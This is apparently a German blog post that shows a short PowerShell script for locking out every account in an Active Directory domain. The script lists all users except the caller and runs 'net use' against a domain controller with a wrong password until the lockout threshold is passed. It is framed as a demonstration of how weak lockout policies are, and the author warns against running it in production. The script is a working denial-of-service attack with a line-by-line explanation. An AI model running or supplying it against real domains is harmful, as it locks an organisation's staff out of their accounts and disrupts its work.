AD-Domäne lahmlegen für Anfänger

[[For an ENGLISH version, click this line!]]

Die Idee zu diesem Miniskript kam mir beim Lesen von Tweets in der Bahn; der Kollege Nils Kaczenski beklagte sich (zu Recht), wie leicht es in vielen Fällen doch sei, als Standardbenutzer ein komplettes Intranet lahm zu legen. Als ein in einem weiteren Tweet gefragt wurde, wie das ginge, war ich versucht die nachfolgenden Zeilen direkt zu twittern, aber das war mir dann angesichts der 140 Zeichenbegrenzung und der vielen Sonderzeichen doch ein wenig zu umständlich. Kommen wir nun also zum Kochrezept und bitte NICHT in der Produktivumgebung einsetzen!

$domain = (Get-ADDomain).Name
$dc = (Get-ADDomainController | Select-Object -First 1).Name
$me = $env:username
$t = (Get-ADDefaultDomainPasswordPolicy).LockoutThreshold

Get-ADUser -Filter { samaccountname -notlike $me } | % {
$user = $_.SamAccountName
0..$t | % { net use \\$dc /user:$domain\$user TEST }
}

Erklärung erforderlich? Eigentlich alles ganz einfach: Ich unterstelle, dass Nils Aussage auf die populäre Technik der Kontensperrungsrichtlinie abhebt. Von vielen als Sicherheitsfunktion betrachtet, hat dies leider den Seiteneffekt, dass jeder Anwender einen beliebigen anderen Anwender aussperren kann. Einfach den Benutzernamen des Kollegen oder der Kollegin eingeben und mehrfach ein falsches Passwort übergeben. Das kann jeder, der sich in irgendeiner Form mit einem Computer der AD-Domäne verbinden kann. Die Lösung des Problems ist also ebenfalls offensichtlich: einfach keine Kennwortsperrung konfigurieren.

Die Codezeilen können interaktiv in der Windows PowerShell (ab v2) mit geladenem Active Directory-Modul ausgeführt werden:
Zeile 1: Wir holen uns den Domänennamen, zB “contoso”.
Zeile 2: Wir holen uns den Namen eines einzelnen DC, zB “dc1”
Zeile 3: Wir holen uns den eigenen Anmeldenamen, zB “DoeJ”
Zeile 4: Wir holen uns den “LockoutThreshold”, zB “5”.
Zeile 5-8: Wir holen uns alle AD-Benutzerkonten, außer dem eigenen und verbinden uns dann mit jedem einzelnen Benutzer so oft gegen einen (grundsätzlich beliebigen) Server, dass die Konten gesperrt werden.

Abschließender Hinweis: Es ist nicht erforderlich von “0..$t” zu laufen, es reicht “1..$t”. Die eine Bonusrunde habe ich eingebaut, damit man den Effekt auch unmittelbar beobachten kann, wie man im nachfolgenden Bildschirmfoto sieht.

Kontensperrung

Kontensperrung erfolgt nach mehrfach fehlerfaften Anmeldeversuchen


Link zum Origional-Tweet.